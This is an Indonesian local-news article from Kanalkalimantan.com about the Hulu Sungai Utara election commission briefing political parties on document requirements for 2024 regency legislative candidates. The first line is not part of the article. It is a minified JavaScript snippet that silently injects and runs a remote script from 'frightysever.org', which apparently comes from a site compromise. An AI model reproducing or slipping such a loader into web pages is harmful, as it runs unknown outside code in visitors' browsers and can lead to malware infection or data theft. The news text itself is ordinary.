(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Jelang pendaftaran bakal calon legislatif (Bacaleg) DPRD Kabupaten Hulu Sungai Utara (HSU), Komisi Pemilihan Umum (KPU) Kabupaten HSU menggelar sosialisasi dan koordinasi terkait dokumen persyaratan administrasi bagi Bacaleg DPRD Kabupaten HSU pada Pemilu 2024.
KPU HSU mengundang perwakilan Partai Politik (Parpol), Bawaslu HSU, serta stekholder terkait berlangsung di aula kantor BKSDM HSU, Rabu (26/4/2023) sore.
Komisioner KPU HSU Rena Mei Saputri mengatakan, sosialisasi digelar guna menyambut tahapan selanjutnya yakni pendaftaran Bacaleg DPRD Kabupaten HSU pada Pemilu 2024 mendatang.
“Kamivbisa melaksanakan kegiatan sosialisasi dan koordinasi terkait peraturan KPU nomor 10 tahun 2023 tentang pencalonan anggota DPD RI, DPRD provinsi dan DPRD kabupaten,” katanya.
Baca juga: Marak Kasus Bayi Dibuang di Banjarbaru: Kemerosotan Moral, Seks Bebas hingga Kontrol Sosial
Selain itu, ia menambahkan kegiatan ini sebagai sarana koordinasi dengan lembaga terkait sebagai pendukung persyaratan pendaftaran bagi Bacaleg DPRD Kabupaten HSU nantinya.
Sosialisasi ini guna mengingatkan para Bacaleg DPRD HSU Pemilu 2024 agar segera mengurus syarat pencalonannya.
Oleh karenanya, ia berharap lembaga terkait tersebut dapat memberikan layanan kemudahan bagi para parpol saat melengkapi persyaratan administrasi bagi bakal calon yang diusungnya nanti.
Menurut Rina, layanan kemudahan tersebut perlu diberikan dikarenakan dari 17 parpol yang ada, diberikan maksimal 31 bakal calon perwakilannya masing-masing.
Hal senada juga diungkapkan, Komisioner KPU HSU Divisi Teknis Penyelenggaraan, Hamli yang menyebutkan bahwa sosialisasi ini perlu dilakukan untuk memberikan pemahaman terkait dokumen persyaratan administrasi bakal calon anggota DPR, DPRD Provinsi dan DPRD kabupaten/kota yang akan di daftarkan ke KPU nanti.
Selain itu, kata Hamli, kegiatan ini juga berkenaan dengan waktu pendaftaran pengajuan bakal calon anggota DPR, DPRD Provinsi dan DPRD kabupaten/kota yang dimulai dari 1 sampai dengan 14 Mei 2023 mendatang.
Baca juga: Masjid Tughfaturraghibin Dihias Bunga, Ini Jalur Masuk ke Areal Haul Datu Kelampayan
Ia berharap, nantinya hasil verifikasi kelengkapan dan kebenaran dokumen administrasi bakal calon yang didaftarkan tidak ada masalah serta sesuai dengan ketentuan yang berlaku.
“Kami berharap nantinya kawan-kawan di Parpol dokumennya dapat lengkap dan tidak tergesa-gesa pada batas waktu pendaftaran,” tukasnya. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
This website uses cookies.